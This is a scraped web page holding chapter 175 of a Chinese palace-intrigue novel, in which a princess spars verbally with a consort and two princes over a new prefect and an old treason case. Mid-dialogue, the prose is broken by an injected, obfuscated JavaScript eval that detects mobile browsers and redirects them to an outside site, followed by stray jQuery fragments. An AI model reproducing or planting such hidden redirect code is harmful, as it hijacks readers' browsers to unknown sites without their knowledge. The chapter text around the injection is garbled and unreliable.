默认冷灰
24号文字
方正启体

175. 长春

作者:文斯珈本书字数:K更新时间:
    李青棠乖顺模样,道:“二哥惦记,妹妹这两日已经大好了,夜里睡得安稳,白日里也不会胡言论语。”


    言罢,只见卢诗月和李景认对看一眼,卢诗月问:“说起胡言乱语,只知道前两日青棠在朝晖殿内惹陛下不悦,过后我等都不敢多问,故而至今日才敢关怀一二。”


    卢诗月的言外之意是她很好奇那日的胡言乱语究竟是什么,只是因为不知情,所以不敢多问也不敢关怀,只怕惹火上身。


    她倒坦诚,这显得李青棠有些狭隘了。


    “娘娘不必抱有歉意,旁人也不敢问的。”李青棠说完拿起一旁的果子“咔嚓”咬下去,酥脆不同别宫。


    这时候她已然进宫快半年了,她应当什么样没人知道,但在她这里几个月下来熟稔习惯那是必然之事,一举一动不学李青兰半分也该褪去青葱不安才是。


    她没有顾及其余人神色有异,只当没看见,自顾自说:“说来也奇怪,自小跟在老师身边长大,不该信这些所谓鬼神之说,可偏偏管用,一时之间倒不知是谁对谁错,又或者这样的事本来就不分对错,罢了罢了,总归是好起来了,仰仗父皇神福,做女儿的沾了光。”


    见李青棠不说他们想听的话,拐弯抹角套不出来,卢诗月干脆重提那天的事:“是啊,陛下神断,知道你是被什么不干净的东西侵体,下旨给你驱邪。欸,听你说起那日来本宫这里,不免想起那日你与本宫的对话,当时你是来找南书的吧?”


    “是了,那日确实是来找昭容的。”


    “怎么?后来见到了吗?要不今日你二人再聊一聊?”


    “多谢贵妃娘娘,此事原也不当紧了,后来某日从明华宫出来与昭容有过一两句闲聊,昭容说青棠所问之事她不知,青棠心中便有数了。”


    “这样啊……”


    “是呢,我与昭容原本并不熟识,当初我在病中,她来看我,还被父皇责罚,诶呦,这人与人的来往当真奇妙。”


    卢诗月说话不痛快,她说话也不痛快,李景认邀请她来长春宫原本是要谈在朝晖殿未说完的话,来了之后左一句右一句全不相关,只想在她这里取得利,又不想予以交换,这可不是君子所为。


    或许见这样说下去没完没了,也或许是别的什么缘由,李景言开口说了今日第二句话:“想必妹妹也听说了京兆府的事。”


    李青棠扭脸看过来:“听说了,都听说了,短短数日一连换了三位府尹,这泼天的运气叫一个小小县令捡了去。”


    李景言:“京兆府两位府尹究竟是谁杀了谁原不要紧,这些都是小事,不关国政,自有人会查清楚,如今真叫人担心的是这个小小县令。”


    “小小县令何须担心?”李青棠做不解状,“虽说府尹之事或是私利,到底是皇城父母官,青棠以为宫墙之下没有小事。”


    李景言一噎,转而有些尴尬地笑笑:“青棠说的是,是我说错话了。”


    “不过二哥和四哥似乎都很在意这个县令,他究竟有什么过人之处呢?”


    李景认说:“过人之处未见得,但这个人却当真有点意思。还记得你当初南下陈州,身边有李景谌和萧大将军相陪,走的不尽是官道,对吧?”


    “是,那一路的凶险确实令人难忘。”


    “难道你没有想过为什么要走那条路、为什么会遇上那些人或事吗?”


    没有,当时李青棠并没有觉得这一路走下来有什么大不妥,就连在花都长大的杜寒英也不曾说什么。


    李青棠此时的疑惑并非装出来了:“四哥的意思是有人算计我?可那条路是父皇允准的,又是五哥和舅舅带路,他们都没有异议,那么我想便是对的。”


    “非也,你是鉴议院院正,南下是公事,按说应当走官道,且是一路官道,但你自己清楚,总有那么些时候你们拐进不知名之地,乍一看不过是官道的分岔口,但其实那时候你已经在别人圈套里了。”


    “圈套?四哥这话我越来越听不明白。”


    “此事之大,你听不懂也是有的,那么我们还是来说一说新上任的府尹。洺县县令陈升,此人并无什么过人之处,常年累月守着那小小洺县,升官的机会都没有几回,我对他很是好奇,妹妹与他打过交道,不知妹妹可知道些什么?”


    李青棠回想着杜寒英的话,想着卢诗月也是那一辈的人,她想让她的儿子当皇帝,那么她知道多少都会告诉她的儿子,除非她一无所知。


    李青棠算不出来李景认究竟知道多少事,又究竟谋划了多少事,既然问道陈升,看起来像是在沾手这件往事了,他问起陈升,李青棠喝茶的同时头脑之中闪过诸多事:“四哥问什么?”


    “那就看妹妹知道什么了?”


    李青棠险些瘪嘴骂一句,这也是问询的姿态?


    “洺县县令陈升,在我看来他是一个很不错的人。”


    李青棠将到洺县驿官继而被绑架然后牵扯出杨市、鲁成、赵提安和陈升:“他没有什么野心,甚至没有上进心,在洺县那些年极为安逸,妹妹以为,若不是洺县地处京郊不远处,这泼天的富贵也不会轮到他身上吧。”


    “知人知面不知心呐。”李景认说。


    李青棠充耳不闻,自顾自说:“回想起在洺县是我经历的第二场大火,那驿官说是为了让我搬离驿站放的火,我却不这么认为,当夜我分明听到五哥与他说话,也正因此我才能毫发无伤啊。”


    当初南下本是这些皇子对她的追杀之路,李景谌动过几次手,一次都没成,才有了今日的李青棠,而这一次次动手都有李景认等在背后惦记,李青棠有意点一点,却是她有心而旁人无意。


    “妹妹有福,上天护佑。”李景认随意应承,很快便讲出他的目的,“妹妹刚刚提起鼠疫,我突然想起了崤县,崤县那地方也是因为鼠疫,一夕之间尸骸遍地。”


    “洺县鼠疫也只是在故事里,至于崤县鼠疫我更不得知,四哥知情?”


    李景认道:“陈年旧事,无非是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143593|163409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听说而来,详情也不得而知。”


    李景认不实诚,李青棠也不欲多问,李景认见李青棠又停下来不说话,只能自己再问:“你说这个陈升是个不慕名利之人,可当初在洺县时杨市和鲁成背后之人究竟是谁,又为何要杀你,你就没有再想过吗?”


    “想过,当时以为是五哥的人,毕竟五哥想杀我,他二人也想杀我,实在有些可以。”李青棠这么说。


    李景认和卢诗月的脸色登时变了变,不过都是经得起事的贵人,倒也没被李青棠这话唬住:“听你这么说,我觉得李景谌被禁足还是父皇仁慈,罚的轻了。”


    李青棠知道李景认想听到什么话,但她就是不主动提起,只看李景认几时问出口。天色一点点明朗,日头渐渐热起来之前李景认先没忍住:“妹妹应当知道‘太子祭酒’一案。”


    李青棠抬眼瞧过去,深沉道:“四哥是说随阳王的那一案吗?”


    “正是那一案。”


    李青棠道:“自然是知道的,我今日能坐在这里与贵妃和二位哥哥说话不全都因这一案吗?”


    “方才妹妹说起洺县时曾提起这一案,说洺县是这一案南北互通信件的必经之地,那么陈升此人的手下有谋杀妹妹的嫌疑,这个小县城又牵扯进这一案,妹妹真的没有多想过吗?”


    “刚刚不是说了嘛,谋杀一事我以为是五哥指使,至于‘太子祭酒’一案,已然尘埃落定,死的死,关的关,贬的贬,父皇裁定过的事,我一个初来乍到的山野公主,实在是想不到。”


    “你……”


    “妹妹说的是,妹妹出来京城,这些事对你而言有些遥远,不知情或是想不到都是有的,”说话的是李景言,他今日只说了几句话,李青棠侧过脸听,“前两日公主府不太平,想必你收了惊吓,花都这地方一向如此,太平时风调雨顺,是整个花朝最富饶之地,不太平时也首当其冲,是最先沦陷之所。你的大婚本该是最幸福的时候,听景认说那日好热闹,却发生了那样的事。”


    “是啊,那夜真是惊险。”李青棠说。


    “你如今住在皇宫是好的,只是可惜你与驸马分居两地,不能时时见面。”


    李景言话音才落,李景认立马开口说:“听说俞夫人病了,你在宫里,寒英在父皇身边当值,杜公又不能回家,也不知俞夫人是否好些了。”


    “好多了,四哥挂怀,青棠替婆母谢过四哥。”


    “一家人,不必如此。”李景认与卢诗月相看一眼,卢诗月开口问:“皇上有些日子不往后宫来,只说是谈论国事,本宫不好多问,听说杜公在朝晖殿好几日了,看来是件大事。”


    除了“太子祭酒”一案他们问什么李青棠都能侃侃而谈,唯有“太子祭酒”一案,若是他们说给她听,那可以,可让她说,她一个字也说出来。但朝晖殿嘛……


    “这,前两日老师也在,他们商量的或许是穆良国使臣被杀一案吧,”李青棠故意停了停,又说,“这两日我也不知道了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)